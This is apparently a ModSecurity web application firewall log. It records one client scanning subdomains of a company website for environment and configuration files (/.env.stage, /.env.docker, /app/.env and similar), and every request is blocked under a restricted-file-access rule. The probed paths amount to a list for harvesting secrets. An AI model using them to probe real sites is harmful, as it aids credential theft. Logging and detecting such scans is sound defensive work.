[Sat Oct 24 20:24:42.463212 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1MSjKiZtbKEGWJKoLVcAAAACE"]
[Sat Oct 24 20:24:42.463507 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1MSjKiZtbKEGWJKoLVcAAAACE"]
[Sat Oct 24 20:24:42.463800 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1MSjKiZtbKEGWJKoLVcAAAACE"]
[Sat Oct 24 20:24:42.485463 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1MSq7eSgqEqaOPQgT8EwAAAAI"]
[Sat Oct 24 20:24:42.485648 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1MSq7eSgqEqaOPQgT8EwAAAAI"]
[Sat Oct 24 20:24:42.485954 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1MSq7eSgqEqaOPQgT8EwAAAAI"]
[Sat Oct 24 20:24:42.602262 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1MSjKiZtbKEGWJKoLVcQAAACE"]
[Sat Oct 24 20:24:42.602552 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1MSjKiZtbKEGWJKoLVcQAAACE"]
[Sat Oct 24 20:24:42.602855 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1MSjKiZtbKEGWJKoLVcQAAACE"]
[Sat Oct 24 20:24:42.621638 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1MSq7eSgqEqaOPQgT8FAAAAAI"]
[Sat Oct 24 20:24:42.621873 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1MSq7eSgqEqaOPQgT8FAAAAAI"]
[Sat Oct 24 20:24:42.622152 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1MSq7eSgqEqaOPQgT8FAAAAAI"]
[Sat Oct 24 20:24:42.744167 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1MSjKiZtbKEGWJKoLVcgAAACE"]
[Sat Oct 24 20:24:42.744464 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1MSjKiZtbKEGWJKoLVcgAAACE"]
[Sat Oct 24 20:24:42.744791 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1MSjKiZtbKEGWJKoLVcgAAACE"]
[Sat Oct 24 20:24:42.758684 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1MSq7eSgqEqaOPQgT8FQAAAAI"]
[Sat Oct 24 20:24:42.758921 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1MSq7eSgqEqaOPQgT8FQAAAAI"]
[Sat Oct 24 20:24:42.759259 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1MSq7eSgqEqaOPQgT8FQAAAAI"]
[Sat Oct 24 20:24:42.883342 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1MSjKiZtbKEGWJKoLVcwAAACE"]
[Sat Oct 24 20:24:42.883646 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1MSjKiZtbKEGWJKoLVcwAAACE"]
[Sat Oct 24 20:24:42.883983 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1MSjKiZtbKEGWJKoLVcwAAACE"]
[Sat Oct 24 20:24:42.893698 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1MSq7eSgqEqaOPQgT8FgAAAAI"]
[Sat Oct 24 20:24:42.893870 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1MSq7eSgqEqaOPQgT8FgAAAAI"]
[Sat Oct 24 20:24:42.894111 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1MSq7eSgqEqaOPQgT8FgAAAAI"]
[Sat Oct 24 20:24:43.020088 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1MSzKiZtbKEGWJKoLVdAAAACE"]
[Sat Oct 24 20:24:43.020339 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1MSzKiZtbKEGWJKoLVdAAAACE"]
[Sat Oct 24 20:24:43.020740 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1MSzKiZtbKEGWJKoLVdAAAACE"]
[Sat Oct 24 20:24:43.030398 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1MS67eSgqEqaOPQgT8FwAAAAI"]
[Sat Oct 24 20:24:43.030580 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1MS67eSgqEqaOPQgT8FwAAAAI"]
[Sat Oct 24 20:24:43.030867 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1MS67eSgqEqaOPQgT8FwAAAAI"]
[Sat Oct 24 20:24:43.156613 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1MSzKiZtbKEGWJKoLVdQAAACE"]
[Sat Oct 24 20:24:43.156871 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1MSzKiZtbKEGWJKoLVdQAAACE"]
[Sat Oct 24 20:24:43.157229 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1MSzKiZtbKEGWJKoLVdQAAACE"]
[Sat Oct 24 20:24:43.165660 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1MS67eSgqEqaOPQgT8GAAAAAI"]
[Sat Oct 24 20:24:43.165848 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1MS67eSgqEqaOPQgT8GAAAAAI"]
[Sat Oct 24 20:24:43.166183 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1MS67eSgqEqaOPQgT8GAAAAAI"]
[Sat Oct 24 20:24:43.293754 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVdgAAACE"]
[Sat Oct 24 20:24:43.294002 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVdgAAACE"]
[Sat Oct 24 20:24:43.294347 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVdgAAACE"]
